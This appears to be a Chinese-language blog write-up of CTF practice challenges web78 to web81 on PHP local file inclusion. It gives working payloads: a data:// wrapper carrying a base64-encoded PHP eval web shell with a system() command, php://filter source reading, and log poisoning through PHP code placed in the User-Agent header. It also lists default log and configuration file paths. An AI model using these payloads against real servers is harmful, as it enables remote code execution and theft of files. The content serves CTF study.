文件包含刷题

文件包含

web78

image-20230530144343183

文件包含常规题 考虑伪协议绕过 这道题没有啥过滤的直接读就行

payload:

(1)?file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==(base64过后的<?php eval($_POST[1]);)

POST :1=system(“cat * f *”);

(2)?file=php://filter/convert.base64-encode/resource=flag.php

Web79

img

该题目意思是将php replace成???所以无法直接包含flag.php

这边可以使用data伪协议绕过

1.data协议

php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码

使用方法:data://text/plain;base64,xxxx(base64编码后的数据)

data伪协议只有在php<5.3且include=on时可以写木马。

2.php伪协议:

需要开启allow_url_fopen的:php://input(post请求提交数据)、php://stdin、php://memory和php://temp

不需要开启allow_wrl_fopen的:php://filter 用于读取源码

经常使用的是php://filter 用于读取源码 和php://input 用于执行php代码

Web80

img

data 和 php 被过滤所以data和伪协议用不了

用包含日志文件方法 大概意思就是

1、日志的默认路径

/etc/httpd/logs/access_log或/var/log/httpd/access_log //apache+linux

nginx 日志文件在用户安装目录的logs目录下/var/log/nginx/access.log

2、web中间件默认配置uoh文件

/etc/httpd/conf/httpd.conf或index.php?page=/etc/init.d/httpd //apache+linux

C:/Windows/system32/inetsrv/metabase.xml //iis6.0+win2003

C:WindowsSystem32inetsrvconfigapplicationHost.config //iis7.0+win

3、利用

方法1 访问

1
http://www.xx.com/<?php phpinfo(); ?>时,<?php phpinfo(); ?>也会被记录在日志里,也可以插入到User-Agent;但是在日志里这句话被编码了;所以用Burp Suite修改来绕过编码;然后包含相应的日志文件:

/var/log/nginx/access.log找到日志文件,并以php解析的方式打开

方法2 可以添加php语句 到user_agent(User Agent中文名为用户代理,是Http协议中的一部分,属于头域的组成部分,User Agent也简称UA。它是一个特殊字符串头,是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识。通过这个标 识,用户所访问的网站可以显示不同的排版从而为用户提供更好的体验或者进行信息统计;例如用手机访问谷歌和电脑访问是不一样的,这些是谷歌根据访问者的 UA来判断的。)中

image-20230530153049671

Web81

img

多过滤了:不影响包含日志文件的尝试用上一题解决方法

img

一般都是能够通过日志包含来写的


文件包含刷题
http://example.com/2023/05/29/web/web4/
作者
Re1ca1g
发布于
2023年5月29日
许可协议